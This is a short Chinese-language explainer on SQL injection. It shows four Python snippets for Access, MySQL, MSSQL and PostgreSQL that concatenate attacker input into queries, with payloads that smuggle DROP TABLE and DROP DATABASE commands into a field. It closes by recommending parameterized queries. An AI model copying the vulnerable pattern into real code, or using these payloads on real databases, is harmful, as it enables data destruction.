数据库注入是一种安全漏洞,通过在查询字符串中注入恶意SQL代码,攻击者可以访问或修改数据库中的数据。下面是针对Access、MySQL、MSSQL和PostgreSQL的简单示例注入代码。
Access注入(使用Python的pyodbc库):
import pyodbc
# 假设 `user_input` 是攻击者提供的输入
user_input = "'; DROP TABLE users; --"
conn_str = (
r'DRIVER={Microsoft Access Driver (*.mdb, *.accdb)};'
r'DBQ=path_to_database.accdb;'
)
conn = pyodbc.connect(conn_str)
cursor = conn.cursor()
# 构造查询,注入恶意代码
query = f"SELECT * FROM table_name WHERE column_name = '{user_input}'"
cursor.execute(query)
# 其余代码...
MySQL注入(使用Python的mysql-connector-python库):
import mysql.connector
# 假设 `user_input` 是攻击者提供的输入
user_input = "something'; DROP DATABASE database_name; #"
config = {
'user': 'username',
'password': 'password',
'host': '127.0.0.1',
'database': 'database_name',
'raise_on_warnings': True
}
cnx = mysql.connector.connect(**config)
cursor = cnx.cursor()
# 构造查询,注入恶意代码
query = f"SELECT * FROM table_name WHERE column_name = '{user_input}'"
cursor.execute(query)
# 其余代码...
MSSQL注入(使用Python的pymssql库):
import pymssql
# 假设 `user_input` 是攻击者提供的输入
user_input = "something'; DROP TABLE users; --"
conn = pymssql.connect(server='server', user='username', password='password', database='database')
cursor = conn.cursor()
# 构造查询,注入恶意代码
query = f"SELECT * FROM table_name WHERE column_name = '{user_input}'"
cursor.execute(query)
# 其余代码...
PostgreSQL注入(使用Python的psycopg2库):
import psycopg2
# 假设 `user_input` 是攻击者提供的输入
user_input = "something'; DROP TABLE users; --"
conn = psycopg2.connect(dbname='database_name', user='username', password='password', host='localhost')
cursor = conn.cursor()
# 构造查询,注入恶意代码
query = f"SELECT * FROM table_name WHERE column_name = '{user_input}'"
cursor.execute(query)
# 其余代码...
在实际应用中,永远不要直接将用户输入拼接到SQL查询中,应使用参数化查询或预编译语句来防止SQL注入攻击。上述代码仅用于展示攻击的例子,不应在生产环境中使用。